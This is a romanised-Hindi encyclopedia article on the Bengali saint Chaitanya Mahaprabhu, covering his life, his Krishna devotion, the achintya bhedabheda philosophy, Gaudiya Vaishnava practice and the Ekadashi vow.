चैतन्य महाप्रभु

chaitany mahaprabhu
chaitany mahaprabhu|200px|center
poora nam	chaitany mahaprabhu
any nam	vishvambhar mishr, shrikrishna chaitany chandr, nimaee, gauraang, gaur hari, gaur suandar
janm	18 faravari sanh 1486 (phalgun shukl poornima)
janm bhoomi	navadvip (nadiya), pashchim bangal
mrityu	sanh 1534
mrityu sthan	puri, u disa
pati/patni	lakshmipriya aur vishnupriya
karm bhoomi	vrindavan
vishay	krishna bhakti
prasiddhi	chaitany sagun bhakti ko mahattv dete the. bhagavan ka vah sagun roop, jo aparimey shaktiyoan aur gunoan se poorn hai, unhean many raha.
nagarikata	bharatiy
sanbandhit lekh	chaitany sampraday, vaishnav sampraday
any janakari	mahaprabhu chaitany ke vishay mean vrindavanadas dvara rachit 'chaitany charit' namak granth mean achchhi samagri upalabdh hoti hai. ukt granth ka laghu sanskaran krishnadas ne 1590 mean 'chaitanyacharitamrit' shirshak se likha tha.
inhean bhi dekhean	kavi soochi, sahityakar soochi

chaitany mahaprabhu (aangrezi:Chaitanya Mahaprabhu, janm: 18 faravari sanh 1486 - mrityu: sanh 1534) bhaktikal ke pramukh kaviyoan mean se ek haian. inhoanne vaishnavoan ke gau diy sanpraday ki adharashila rakhi. bhajan gayaki ki ek nayi shaili ko janm diya tatha rajanitik asthirata ke dinoan mean hindoo-muslim ekata ki sadbhavana ko bal diya, jati-paant, ooanch-nich ki bhavana ko door karane ki shiksha di tatha vilupt vrindavan ko phir se basaya aur apane jivan ka aantim bhag vahian vyatit kiya. mahaprabhu chaitany ke vishay mean vrindavanadas dvara rachit 'chaitany charit' namak granth mean achchhi samagri upalabdh hoti hai. ukt granth ka laghu sanskaran krishnadas ne 1590 mean 'chaitanyacharitamrit' shirshak se likha tha.

jivan parichay

chaitany mahaprabhu ka janm sanh 18 faravari sanh 1486ki phalgun shukl poornima ko pashchim bangal ke navadvip (nadiya) namak us gaanv mean hua, jise ab mayapur kaha jata hai. balyavastha mean inaka nam vishvanbhar tha, parantu sabhi inhean nimaee kahakar pukarate the. gauravarn ka hone ke karan log inhean gauraang, gaur hari, gaur suandar adi bhi kahate the. chaitany mahaprabhu ke dvara gau diy vaishnav sanpraday ki adharashila rakhi gee. unake dvara praranbh kie ge mahamantr nam sankirtan ka atyant vyapak v sakaratmak prabhav aj pashchimi jagat tak mean hai. kavi karnapur krit 'chaitany chandroday' ke anusar inhoanne keshav bharati namak sannyasi se diksha li thi. kuchh log madhavendr puri ko inaka diksha guru manate haian. inake pita ka nam jagannath mishr v maan ka nam shachi devi tha.

bachapan

nimaee (chaitany mahaprabhu) bachapan se hi vilakshan pratibha sanpann the. sath hi, atyant saral, suandar v bhavuk bhi the. inake dvara ki gee lilaoan ko dekhakar har koee hataprabh ho jata tha. bahut kam umr mean hi nimaee nyay v vyakaran mean parangat ho ge the. inhoanne kuchh samay tak nadiya mean skool sthapit karake adhyapan kary bhi kiya. nimaee balyavastha se hi bhagavadh chiantan mean lin rahakar ram v krishna ka stuti gan karane lage the. 15-16 varsh ki avastha mean inaka vivah lakshmipriya ke sath hua. sanh 1505 mean sarp dansh se patni ki mrityu ho gee. vansh chalane ki vivashata ke karan inaka doosara vivah navadvip ke rajapandit sanatan ki putri vishnupriya ke sath hua. jab ye kishoravastha mean the, tabhi inake pita ka nidhan ho gaya. chaitany ke b de bhaee vishvaroop ne balyavastha mean hi sannyas le liya tha, at: n chahate hue bhi chaitany ko apani mata ki suraksha ke lie chaubis varsh ki avastha tak grihasth ashram ka palan karana p da. kaha jata hai ki inaka vivah vallabhachary ki suputri se hua tha. [[chitr:Chetanya-Mahaprabhu-1.jpg|thumb|left|chaitany mahaprabhu mandir, govardhan, mathura]] apane samay mean sambhavat: inake saman aisa koee doosara achary nahian tha, jisane lokamat ko chaitany ke saman prabhavit kiya ho. pashchim bangal mean advaitachary aur nityanand ko tatha mathura mean roop gosvami aur sanatan gosvami ko apane prachar ka bhar sanbhalavakar chaitany nilaanchal (katak) mean chale ge aur vahaan 12 varsh tak lagatar jagannath ki bhakti aur pooja mean lage rahe. mahaprabhu ke antakal ka adhikarik vivaran nishchayatmak roop se upalabdh nahian hota hai. 48 varsh ki alpayu mean unaka dehaant ho gaya. mridang ki tal par kirtan karane vale chaitany ke anuyayiyoan ki sankhya aj bhi poore bharat mean paryapt hai.

krishna bhakti

chaitany ko inake anuyayi krishna ka avatar bhi manate rahe haian. sanh 1509 mean jab ye apane pita ka shraddh karane bihar ke gaya nagar mean ge, tab vahaan inaki mulaqat eeshvarapuri namak sant se huee. unhoanne nimaee se krishna-krishna ratane ko kaha. tabhi se inaka sara jivan badal gaya aur ye har samay bhagavan shrikrishna ki bhakti mean lin rahane lage. bhagavan shrikrishna ke prati inaki anany nishtha v vishvas ke karan inake asankhy anuyayi ho ge. sarvapratham nityanand prabhu v advaitachary maharaj inake shishy bane. in donoan ne nimaee ke bhakti aandolan ko tivr gati pradan ki. nimaee ne apane in donoan shishyoan ke sahayog se dholak, mridang, jhaanjh, manjire adi vady yantr bajakar v uchch svar mean nach-gakar hari nam sankirtan karana praranbh kiya.

'hare-krishna, hare-krishna, krishna-krishna, hare-hare. hare-ram, hare-ram, ram-ram, hare-hare' namak atharah shabdiy kirtan mahamantr nimaee ki hi den hai .

inaka poora nam vishvambhar mishr aur kahian shrikrishna chaitany chandr milata hai. chaubisavean varsh ki samapti par inhoanne vairagy le liya. ve karmakaand ke virodhi aur shrikrishna ke prati astha ke samarthak the. chaitany mat ka ek nam 'godiy vaishnav mat' bhi hai. chaitany ne apane jivan ka shesh bhag prem aur bhakti ka prachar karane mean lagaya. unake panth ka dvar sabhi ke lie khula tha. hindoo aur musalaman sabhi ne unaka shishyatv grahan kiya. inake anuyayi chaitany ko vishnu ka avatar manate haian. apane jivan ke atharah varsh unhoanne u disa mean bitaye. chhah varsh tak ve dakshin bharat, vrindavan adi sthanoan mean vicharan karate rahe. chh: varsh mathura se jagannath tak ke suvistrit pradesh mean apane siddhaantoan ka prachar kiya tatha krishna bhakti ki or logoan ko pravritt kiya.

vyavaharik prabhav

chaitany mahaprabhu ne achinty bhedabhadabhav ka pravartan kiya, kintu pramanik roop se inaka koee granth upalabdh nahian hota. inake kuchh shishyoan ke matanusar 'dashamool shlok' inake rache hue haian. any sampradayoan ke pravartakoan ne apane mat ki pushti ke lie bhashy aur any granth likhe haian, jabaki chaitany ne brahmasootr, gita adi par bhi bhashy nahian likhe. at: yah ashcharyajanak bat hi hai ki bhashy adi ki rachana n karane par bhi mahaprabhu chaitany ko ek b de bhari sampraday ka pravartak mana gaya. yah sambhavat: is karan sambhav hua ki inaka mat atyadhik bhavatmak raha, at: usako am logoan ka samarthan prapt ho gaya. is prakar yah bhi kaha ja sakata hai ki chaitany mahaprabhu ka acharyatv shastr vishleshan par utana adharit nahian, jitana ki unake vyavaharik prabhav par adharit raha. vaise inake uttaravarti shishyoan ne us shastriy adhar ke abhav ki bhi poorti kar di, jo bhashy ki rachana n karane ke karan is sampraday mean chal raha tha. [[chitr:Chetanya-Mahaprabhu-2.jpg|thumb|250px|chaitany mahaprabhu mandir, govardhan, mathura]] bhakti ko adhar banakar chaitany ne yathapi koee nee parampara nahian chalaee, phir bhi bhavavihlata ka jitana put chaitany ne bhakti mean milaya, utana kisi any ne nahian. vallabhachary adi ne dharm ke aur bhakti ke vidhanatmak paksh ko mahattv diya tha, jabaki chaitany ne bhavatmak paksh ko prashray diya. chaitany ki vicharadhara par paancharatr sahity, bhagavat, puran tatha git govind ka sarvadhik prabhav p da. vibhinn roopoan mean prachalit aur lipibaddh krishna katha ne unake vyaktitv ko bhitari bhag tak avashy hi chhua hoga. yoan to sara bharat hi chaitany se prabhavit hua, kintu pashchim bangal ka jan jivan to unaki vicharadhara ke sath amoolachool ekakar ho gaya. phalasvaroop n keval hindoo apitu tatkalin musalaman bhi unake mat se prabhavit hue bina n rah sake. bhakti bhavana ke apekshakrit hras ke bavajood ab bhi chaitany ka prabhav samaj mean lagatar akshunn bana hua hai. mahaprabhu ki prabhuta badhane aur banae rakhane mean unaki sundarata, mriduta, sahasikata, soojhaboojh, vidvatta aur shalinata ka b da hath raha hai.

chaitany mahaprabhu ke pramukh siddhaant

chaitany mahaprabhu apane mat ki shastriy vyakhyaoan mean adhik nahian ulajhe, phir bhi unake pravachanoan ke adhar par unake anuyayiyoan ne is sampraday ki manyataoan ka jo vishleshan kiya, usake anusar achiny bhedabhedavad mean nirdisht pramukh tatvoan ka svaroop nimnalikhit roop se samajha ja sakata hai.

brahm

chaitany ke anusar brahm ka svaroop vishuddh anandatmak hai. brahm vishesh hai aur usaki any shaktiyaan visheshan haian. shaktiyoan se vishisht brahm ko hi bhagavan kaha jata hai. brahm, eeshvar, bhagavan aur paramatma ye sanjnaean ek hi tatv ki haian. achinty bhedabhedavadi acharyoan ne apane granthoan mean jis tatv ko eeshvar kaha hai, vah brahm hi hai. eeshvar ek aur bahubhav se abhinn hone par bhi gun aur gunoan tatha deh aur dehi bhav se bhinn bhi hai. gun aur guni ka paraspar abhed bhi mana jata hai, isalie brahm gunatma bhi kahalata hai. bhed jal aur usaki tarangoan ki bhinnata ke saman hai. jagat ki utpatti, sthiti aur lay ka adhar bhi brahm hi hai. vahi jagat ka upadan tatha nimitt karan hai. brahm ki tin shaktiyaan mani gee haian. para, apara aur avidya. para shakti ke karan brahm jagat ka nimitt karan hai tatha apara aur avidya (maya) shakti ke karan brahm jagat ka upadan karan mana jata hai. abhivyakti ki drishti se brahm ki shakti ke tin roop haian- sevith, sanghini aur hladini. chaitany ke anusar brahm aishvary aur madhury donoan se hi yukt hai. yahi karan hai ki shatsandarbh ke lekhak ne krishna ke vigrah ko bhi brahm se abhinn manane ka prayas kiya aur krishna ko hi param shakti bataya. jiv gosvami ke kathananusar brahm jagat ke srashta ke roop mean bhagavan kahalata hai. baladev vidyabhooshan satta, mahatta aur sneh ki avasthiti ke karan brahm ko hi hari, narayan ya krishna kahate haian. [[chitr:Guru-Purnima-Govardhan-Mathura-4.jpg|thumb|left|guru poornima par chaitany vaishnav sangh ke shraddhalu, govardhan, mathura]]

jagat

chaitany ke anusar jagat ki srishti brahm ki avidya athava maya shakti ke dvara hoti hai. jagat eeshvar se bhinn hote hue bhi usake adhin hone ke karan abhinn hai. jagat 'bhram' nahian apitu 'saty' hai. prakriti aur maya ko chaitany sampraday mean abhinn mana gaya hai. at: prakriti ko brahm ki shakti kaha gaya hai. pralay kal mean bhi prakriti ki sthiti sookshm roop mean bani rahati hai. at: prapanch brahm se n to poornataya bhinn hai aur n hi abhinn. vastut: inaki bhinnabhinnatatmakata achinty haian-

svaroopadhabhinnatven chintayitumashakyatvad bhed:, bhinnatven chintayitumashakyatvadabhedashch pratiyate iti shaktimatobhedabhedadaanvanrgikrito tau ch achintyau.

chaitany jagat ko n to shashvat manate haian aur n hi mithya. yadi jagat nity mana jaye to karyakaran sambandhoan ki avasthiti nahian mani ja sakati. yadi jagat ko mithya mana jaye to mithya se mithya ki utpatti manana asangat hi hai. at: chaitany ka yah vichar hai ki jagat apane mool (nimitt karan) mean avyakt roop se rahata hai, us avastha mean vah nity hai kintu vyaktavastha mean vah anity hai. thumb|chaitany mahaprabhu

jiv

chaitany ke anusar jiv brahm se prithak hai. yah anu parinam hai. jiv mean satv, rajash tatha tamash ye tinoan gun vidyaman rahate haian. brahm pralay ke anantar 'ekoahan bahusyamh' ki ichchha se jiv ki pushti karata hai. jiv apane svaroop ko maya ke karan bhool jata hai. jis prakar soory ki kiranean soory se prithak nahian haian, usi prakar jiv bhi vastav mean brahm se prithak nahian hai, kintu abhivyakti ke samay jiv ki prithak satta se inkar nahian kiya ja sakata. chaitany ke anusar jiv brahm ki abhivyakti hai, abhas nahian. bhakti ke dvara jiv apane mool svaroop ko prapt kar sakata hai. jiv bhi anu chaitany hai, vah nity hai. baladev vidyabhooshan ke anusar eeshvar, jiv, prakriti aur kal ye char padarth nity haian aur in charoan mean se antim tin pratham ke adhin haian. isi karan jiv ko eeshvar ki shakti aur brahm ko shaktiman bhi kaha ja sakata hai. chaitany ne jivatatv ko shakti aur krishna tatv ko shaktiman kaha hai. jiv do prakar ke hote haian, nityamukt aur nity sansari.

maya

chaitany matanuyayiyoan ne maya ko brahm ki parinam shakti kaha aur usake do bhed batae-

tatr sa mayakhya parinam shaktishch dvividha varnyate,
nimittasho maya upadanaansh: pradhanamh iti. tatr kevala
shaktirnimittamh, tad vyoohamayi toopadanamiti vivek:.

brahm ki parinam shakti ke nimittaansh ko nimitt maya aur upadanaansh ko upadarnamaya bhi kaha gaya hai. nimitt maya ke kal, daiv, karm aur svabhav ke char bhed bataye ge haian aur upadan bhasha mean dravy, kshetr, pran, atmanh aur vikar ka samavesh mana gaya hai.

moksh

[[chitr:Guru-Purnima-Govardhan-Mathura-5.jpg|thumb|250px|guru poornima par shraddhaluoan ka bhajan-kirtan, govardhan, mathura]] chaitany ke matanusar bhakti hi mukti ka sadhan hai. jaisa ki pahale bhi kaha gaya hai, jiv do prakar ke hote haian, nity mukt aur nity sansari. nity mukt jivoan par maya ka prabhav nahian p data aur brahm ki svaroop shakti ke adhin ve sada mukt rahate haian. nity sansari jiv maya ke adhin rahate haian. aise jivoan ke do bhed hote haian, bahirmukh aur vidveshi. bahirmukh jivoan ke do bhed haian- aruchigrast aur vaikrity grast. maya grast jivoan ka moksh anek yoniyoan mean bhraman karane ke anantar satsang se sanbhav hota hai. jyoan hi maya grast jiv maya ke bandhan se chhootane ka upakram karata hai, tyauanhi bhagavan bhi us par apani kripa nyauchhavar kar dete haian. chaitany matanuyayiyoan ke anusar mukti paanch prakar hoti hai-

1. saloky
2. sarshti
3. saroopy
4. samipy
5. sayujy.

in sab muktiyoan mean se sayujy ko sarvadhik mahattvapoorn mana gaya hai. advaitavadiyoan ke anusar to yah (sayujy mukti) moksh hi hai, yani jiv ki prithak satta ka is avastha mean avasan ho jata hai. kintu chaitany matanuyayiyoan ke anusar jiv ka kabhi brahm mean vilay nahian hota, sayujy mukti mean bhi brahm aur jiv ka nity sah astitv bana rahata hai. yadyapi gau diy vaishnav matanusar jiv ke brahm mean shashvat vilay ka sarvatha nishedh nahian kiya gaya hai, kintu ve is prakar ke vilay se bhi adhik mahattv us sthiti ko dete haian, jisamean jiv brahm ke sath sah astitv ka anand uthata rahe. kintu us avastha mean jiv brahm se bhinn rahata hai ya abhinn. yah prashn ya isaka uttar chaitany matanuyayiyoan ke anusar achinty hai.

achintyashakti

chaitany ke mat ko achinty bhedabhedavad ke nam se pukara jata hai. at: yah janana bhi avashyak hai ki achinty ka arth kya hai. shridhar svami ke anusar achinty vah jnan hai, jo tarkagamy nahian hota. 'achintyamh tarkasahan yajnajnanamh.' jabaki jiv gosvami ke anusar achinty ka arth hai-

'arthapattigamy'- 'bhinnabhinnatvadivikalpeshchintayitumashaky: kevalamarthapatti jnanagochar:.'

jiv gosvami ne bhagavat sandarbh mean yah bhi kaha hai ki vah shakti jo asambhav ko bhi sambhav bana de athava abhed mean bhi bhed ka darshan karava de, achinty kahalati hai.

"durghataghatakatvamh achintyatvamh." roop gosvami ka yah kathan hai ki purushottam mean ekatv aur prithakatv aanshatv aur aanshitv yugapad roop mean rah sakate haian. jis prakar agni mean jvalan shakti tatha jaise bhagavan shrikrishna mean solah hazar raniyoan ke samaksh ek sath hi rahane ki shakti hai, kintu usaki koee tarkik vyakhya nahian ki ja sakati, usi prakar abhed mean bhed ki satta hai, kintu usaka tarkik vishleshan nahian kiya ja sakata, vah achinty hai. baladev vidyabhooshan ne achinty ki vyakhya mean vishesh shabd ka bhi sannivesh kar diya aur is prakar unhoanne abhed mean bhed ka adhar vishesh ko hi batalaya aur ek prakar se vishesh ko achinty ka paryayavachi manane ka upakram kiya.

visheshabalath tadh bhed vyavaharo bhavativisheshashch bhedapratinidhi: bhedabhaveapi tath kary pratyayyamh.

[[chitr:Guru-Purnima-Govardhan-Mathura-3.jpg|thumb|left|guru poornima par bhajan-kirtan karate shraddhalu, govardhan, mathura]] chaitany matanuyayiyoan ke anusar n keval bhedabhed ke vishleshan ke lie, apitu shrutiyoan ki vyakhya ke lie bhi achinty shakti ke astitv ko svikar karana avashyak hai. udaharan ke lie brihadaranyak upanishad mean kaha gaya hai- 'vijnanamh anandan brahm.' is shruti vaky mean yadi anand aur vijnan ko samanarthak mana jaye to donoan shabdoan mean se ek ka prayog vyarth ho uthega. isake viparit yadi donoan shabdoan ko samanarthak n mana jaye to brahm mean svat: hi bhed manana p dega. is samasya ka samadhan achinty shakti ke adhar par hi sambhav hai. at: chaitany ka mat, yadi achinty bhedabhed nam se prasiddh hua to yah shruti vyakhyan ki drishti se bhi upayukt hi hai.

achinty bhedabhedavad ka tulanatmak vishleshan

shankar ke anusar nirvikalpak brahm hi ekamatr param saty hai aur samyak jnan hi usaki prapti ka ek matr sadhan hai. jabaki chaitany brahm ko savikalpak manate haian aur bhakti ko hi usaki prapti ka sadhan batalate haian. shankar ke anusar brahm "sath-chith-anandamay" hai. nirvikalpak pratyaksh se sath ka jnan hota hai. sath hi chinmay hai. ramanuj, vallabh aur madhv nirvikalpak jnan ki satta ko svikar nahian karate. chaitany matanuyayi jiv gosvami bhi vaise to nirvikalpak brahm ki satta ko svikar nahian karate, kintu unaka yah bhi kathan hai ki yadi nirvikalpak brahm ko manana hi ho to adhik se adhik yah kaha ja sakata hai ki vah savikalpak brahm ka apoorn darshan hai. chaitany matanuyayiyoan ke anusar brahm keval bhaktigamy hai. vallabhachary ka bhakti marg aur chaitany ka bhakti marg pray: ek jaisa hi hai. nimbark ka 'dvaitadvaitavad' aur chaitany ka 'achinty bhedabhedavad' bhi ek doosare se bahut bhinn nahian hai. madhv ke mat se to chaitany mat ka atyadhik samy spasht hota hai. shri madhv aur chaitany donoan ke matanusar brahm sagun aur sarvishesh hai. jiv anu aur sevak hai. jiv ki mukti bhakti se hoti hai. jagat saty hai aur brahm bhi jagat ka nimitt aur upadan karan hai. jiv aur brahm muktavastha mean bhi bhinn rahate haian. kintu madhv ke mat se itana samy hone par bhi chaitany ka mat is drishti se kuchh prithak hai ki chaitany ke mat mean gun aur guni bhav se jiv aur brahm ko abhinn aur bhinn mana jata hai. upasana ki drishti se bhi donoan mean yah antar hai ki jahaan madhv brahm aur jiv mean sevy-sevak bhav ko hi sphoorti manate haian, vahaan gau diy vaishnav sampraday mean brahm aur jiv ke bich dasy ke atirikt shant, sakhy, vatsaly aur madhur bhav ko bhi sthan diya gaya hai. [[chitr:Guru-Purnima-Govardhan-Mathura-26.jpg|thumb|250px|guru poornima par shraddhaluoan ka bhajan-kirtan, govardhan, mathura]] jiv gosvami brahm ko advay jnanatatv batalate haian. advaitavadiyoan ne bhi yadyapi is prakar ke shabdoan ka prayog kiya hai kintu vahaan par shankar ka yah vichar ki brahm 'advay' hai, kyoanki usake atirikt koee doosara tatv hai hi nahian, vahaan roop gosvami ke anusar brahm advay hai, kyoanki vaisa hi koee doosara tatv brahmand mean vidyaman nahian hai. jiv gosvami bhagavan ko param tatv aur brahm ko nirvishesh manate haian. brahm mean shaktiyaan avyakt roop se rahati haian. bhagavan mean ve kriyashilata ke sath rahati haian. in donoan sthitiyoan ke bich ki ek any sthiti hai, jisamean brahm ko paramatma kaha jata hai. maya shakti ka sambandh paramatma se hi hai.

mahaprabhu chaitany ka bhaktiparak mat

chaitany sagun bhakti ko mahattv dete the. bhagavan ka vah sagun roop, jo aparimey shaktiyoan aur gunoan se poorn hai, unhean many raha. jiv unaki drishti mean paramatma ka shashvat aansh hote hue bhi paramatma ka sevak hai. paramatma ke anek namoan mean anek shaktiyoan ka pariganan kiya gaya hai. at: un namoan ka sankirtan hi jiv ki bandhanamukti ka ekamatr sadhan hai. [[chitr:Guru-Purnima-Govardhan-Mathura-7.jpg|thumb|left|guru poornima par shraddhaluoan ka bhajan-kirtan, govardhan, mathura]] chaitany ne krishna ko bhagavan ka avatar nahian, apitu svayan bhagavan mana hai. yah bhi ek ullekhaniy bat hai ki chaitany ke anuyayiyoan ne krishnadas kaviraj, vrindavan aur lochanadas ne chaitany ko krishna ka avatar mana hai, isi bhavana ke adhar par chaitany ko bhi shri krishna chaitany bhi kaha jata hai. chaitany ne bhakti ko hi moksh ka sadhan mana hai. vastut: bhagavan priti ke anubhav ko hi ve moksh manate haian, aur priti ke lie bhakti ke saman koee doosara sadhan nahian hai. bhakti ke dvara jiv eeshvar ke saman sthiti prapt kar leta hai. eeshvar se abhinn to vah nahian ho sakata, kintu bhakti ke dvara jiv ko itana adhik antarik samipy prapt ho jata hai ki jiv phir kabhi brahm ke samip se alag nahian hota. bhakti ke lie guru ki kripa bhi avashyak hai. chaitany ke bhakti marg mean tark ka koee sthan nahian hai. chaitany ke matanusar bhakti vastut: adhyatmik sneh hai. brahm ki sanvith evan dvadinishakti ka sammishran hi bhakti hai. yadyapi jnan aur vairagy bhi mukti ke sadhan haian, kintu bhakti pramukh sadhan hai, jabaki jnan aur vairagy sahakari sadhan hai. hladini shakti ka sar hone ke karan bhakti anandaroopini hoti hai aur sanvith shakti ka sar hone ke karan bhakti jnanaroopini bhi hai. at: aisa pratit hota hai ki chaitany ke mat mean bhakti ek sadhana marg hi nahian, apitu jnan aur vijnan ka sar bhi hai. baladev vidyabhooshan ke anusar bhakti marg ki tin avasthaean haian- sadhan, bhav aur prem. indriyoan ke madhyam se ki jane vali bhakti jiv ke hriday mean bhagavat prem ko jagrit karati hai. isilie isako sadhan bhakti kaha jata hai. bhav prem ki pratham avastha ka nam hai, at: bhakti marg ki prakriya mean bhav bhakti ka doosara sthan hai. jab bhav ghanibhoot ho jata hai, tab vah prem kahalane lagata hai. yahi bhakti ki charam avastha hai aur is sopan par pahuanchane ke bad hi jiv mukti ka patr banata hai. sadhan bhakti ke do bhed haian- vaidhi aur raganuga. shastriy vidhiyoan dvara pravartit bhakti vaidhi aur bhakt ke hriday mean svabhavik roop se jagrit bhakti raganuga kahalati hai.

chaitany ke matanusar

[[chitr:Guru-Purnima-Govardhan-Mathura-27.jpg|thumb|250px|guru poornima par shankh bajati shraddhalu yuvati, govardhan, mathura]] chaitany ke matanusar bhakti ki patrata un logoan mean hi hoti hai, jo saansarik mamaloan se n to ekadam virakt hote haian, aur n hi ekadam anurakt aur bhagavan ki jo pooja aur nam sankirtan mean vishvas rakhate haian. aise log tin kotiyoan mean rakhe ja sakate haian- uttam, madhyam aur nikrisht. uttam koti mean ve ate haian, jo vedashastr jnata hone ke sath sath poorn atma aur dridh sankalp se bhagavan ki bhakti mean rat hote haian. madhyam koti ke bhakt ve haian, jo vedashastravetta n hote hue bhi bhagavatabhakti mean dridh astha rakhate haian. nikrisht koti ke bhaktoan mean un logoan ki ginati hoti hai, jinaki astha aur sankalp dridh nahian rahate. anand prapti aur moksh prapti ki ichchha jis vyakti ke man se door nahian huee, vah bhakti marg par nahian chal sakata. uttama bhakti ka lakshan roop gosvami ne is prakar bataya hai-

anyabhilashitashoonyan jnanakamadyinavritamh.
anukoolyen krishnanushilanan bhaktiroottama..

chaitany ki bhakti paddhati vastut: vyavahar ka vishay adhik hai. yahi karan hai ki chaitany matanuyayiyoan ne bhakti ke bhedopabhed ya any saiddhaantik pakshoan par adhik bal nahian diya. roop gosvami ke bhakti 'rasamritasindhu' aur 'ujjval nilamani' namak granthoan tatha jiv gosvami ke 'bhakti sandarbh' namak granth mean bhi is tathy par adhik bal diya gaya hai ki bhakti keval ek marg hi nahian, apitu apane ap mean pancham purusharth hai. roop gosvami ka to yahaan tak kahana hai ki manushy ke hriday mean rati ke roop mean bhakti ka aankur udbhoot hone ke anantar purusharth chatushtay ki koee vaanchha shesh nahian rahati.

gau diy vaishnav mat

gau diy vaishnav mat mean bhaktoan ya sadhakoan ka ullekh nity siddh, sadhana siddh aur kripasiddh ke roop mean bhi kiya jata hai. nityasiddhi bhakt ve haian, jo krishna ke sath nityavas karane ki patrata arjit kar lete haian- jaise gopal. sadhan siddh ve haian, jo prayatnapoorvak krishna ka sannidhy prapt karate haian aur kripasiddh ve haian, jo kripa se hi sannidhy prapt karate haian. yadyapi chaitany matanuyayiyoan ne jnanayog aur karmayog ki apeksha bhaktiyog ko adhik grahy mana hai, kintu unake kathan yatr-yatr is roop mean bhi upalabdh ho jate haian ki yadi jnanayog aur karmayog ka palan samuchit roop mean kiya jae to ve bhakti ki prapti bhi karava sakate haian. at: kul milakar yah kaha ja sakata hai ki chaitany ki bhaktiparak vicharadhara mean jnan aur karm ke sambandh mean bhi sankirnata nahian hai. isake sath hi yah bhi ek dhyan dene yogy bat hai ki chaitany ne vedant ke sabhi sampradayoan ke prati bhi ek bahut hi svasth drishtikon apanaya hai. [[chitr:Guru-Purnima-Govardhan-Mathura-8.jpg|thumb|left|guru poornima par shraddhaluoan ka bhajan-kirtan, govardhan, mathura]] chaitany dvara nirdisht bhakti marg mean guru ka atyadhik mahattv hai. guru dvara dikshit hone ke antar namochcharan karana apekshit hai. tadanantar bhakt ko saansarik vishayoan ka tyag vrindavan, dvaraka, adi tirthoan ya gangatat par nivas, ayachit khady samagri se jivan nirvah, ekadashi ka vrat rakhana, pipal ke pe d par pani chadhana, adi kary karane chahie. nastikoan ke sang ka tyag, adhik logoan ko shishy n banana, bhadde vartalap mean n ubalana adi bhi bhakti marg ke anuyayiyoan ke lie anivary hai. bhaktoan ke lie tulasi ka bhakshan, bhagavat ka shravan tatha krishna sankirtan, satsang adi bhi anivary haian. chaitany ki bhakti paddhati mean jap ka apana vishisht sthan hai. vijnaptimay prarthana, shravan aur smaran, dhyan aur dasyabhav bhi avashyak hai. chaitany matanuyayiyoan ka yah bhi kathan hai ki krishna dvarakadham mean poorn roop se, mathura mean poornatar roop se aur vrindavan mean poornatam roop se birajate haian. is poornatam bhakti ke lie vrindavan hi sarvottam sthan hai. [[chitr:Guru-Purnima-Govardhan-Mathura-10.jpg|thumb|guru poornima par shraddhaluoan ka bhajan-kirtan, govardhan, mathura]] sankshep mean yah kaha ja sakata hai ki 'chaitany' vastut: ek darshanik hi nahian, ek mahan bhakt hi nahian aur ek mahapurush hi nahian, apitu bharatiy manas mean b di gaharaee se basi huee aisi bhavana hai, jo chirakal tak bharatiy samaj ko anupramanit karati rahegi.

vidhavaoan ko prabhu bhakti ki prerana

chaitany mahaprabhu ne vidhavaoan ko vriandavan akar prabhu bhakti ke raste par ane ko prerit kiya tha. vriandavan qarib 500 varsh se vidhavaoan ke ashray sthal ke taur par jana jata hai. kanha ke charanoan mean jivan ki aantim saansean gujarane ki ichchha lekar deshabhar se yahaan jo vidhavaean ati haian, unamean adhikaanshat: 90 phisadi bangali haian. adhikatar anapadh aur baanglabhashi. vriandavan ki or bangali vidhavaoan ke rukh ke pichhe manyata yah hai ki bhaktikal ke pramukh kavi chaitany mahaprabhu ka janm 1486 mean pashchim bangal mean hua tha. ve 1515 mean vriandavan ae aur unhoanne apana shesh jivan vriandavan mean vyatit kiya. nirashrit mahilaoan ke anusar, isalie unaka yahaan se lagav hai. kaha jata hai chaitany mahaprabhu ne bangal ki vidhavaoan ki dayaniy dasha aur samajik tiraskar ko dekhate hue unake shesh jivan ko prabhu bhakti ki or mo da aur isake bad hi unake vriandavan ane ki paranpara shuroo ho gee.

ekadashi vrat ka mahatv

chaitany mahaprabhu aise sant hue haian jinhoanne bhakti marg ka adbhut udaharan prastut kiya. bhagavanh‌ shri chaitany dev ka avirbhav poorvabang ke apoorv dham navadvip mean hua tha. 24 varsh ki avastha mean lokakalyan ki bhavana se sannyas dharan kiya, jab bharat mean charoan or videshi shasakoan ke bhay se janata svadharm ka parityag kar rahi thi. tab chaitany mahaprabhu ne yatraoan mean harinam ke madhyam se harinam sankirtan ka prachar kar premasvaroopa bhakti mean bahut b di kraanti phaila di. sannyas grahan ke pashchat shri chaitany ne dakshin bharat ki or prasthan kiya. us samay dakshin mean mayavadiyoan ke prachar-prasar ke karan vaishnav dharm prayah sankirtan ka prachar n karate to yah bharat varsh vaishnav dharm vihin ho jata. harinam ka sthan-sthan par prachar kar chaitanyadev shrirangam pahuanche aur vahaan godanarayan ki adbhuth‌ roopamadhuri dekh bhavavesh mean nrity karane lage. shri chaitany ka bhav-vibhavit svaroop dekh mandir ke pradhan archak shriveankat bhatt chamatkrit ho uthe aur bhagavan ki prasadi mala unake gale mean dal di tatha unhean bataya ki varshakalin yah chaturmas kasht yukt, jal plavan evan hiansak jiv-jantuoan ke bahuly ke karan yatra mean nishiddh hai, atah unake char mas tak apane ghar mean hi nivas ki prarthana ki. shriveankat bhatt ke anurodh par shrichaitany dev ke char mas unake avas par vyatit hue. unhoanne putr shrigopal bhatt ko dikshit kar vaishnav dharm ki shiksha ke sath shastriy pramanoansahit ek smriti granth ki rachana ka adesh diya. kuchh samay pashchat shrigopal bhatt vriandavan ae evan vahaan nivas kar unhoanne pancharatr, puran aur agam nigamoan ke pramanasahit 251 granthoan ka udaharan dete hue haribhakti vilas smriti ki rachana ki. is granth mean unhoanne ekadashi tatv vishay par vishesh vivechana ki. is prasang mean achary gaur krishna darshan tirth kahate haian chatuah sampradayik vaishnavoan ke lie avashyak roop mean ekadashi vrat ka mahatvapoorn sthan hai. ekadashi vrat karane se jivan ke sanpoorn pap vinasht ho jate haian. is vrat ko sahasroan yajnoan ke saman mana gaya hai. brahmachari, grihasth, vanaprasth, sannyasi tatha vidhava striyaan bhi ekadashi vrat ke adhikari haian. ekadashi vrat tyag kar jo ann sevan karata hai, usaki nishkriti nahian hoti. jo vrati ko bhojan ke lie kahata hai, vah bhi pap ka bhagi hota hai.

chaitany mahaprabhu ke nrity ka rahasy

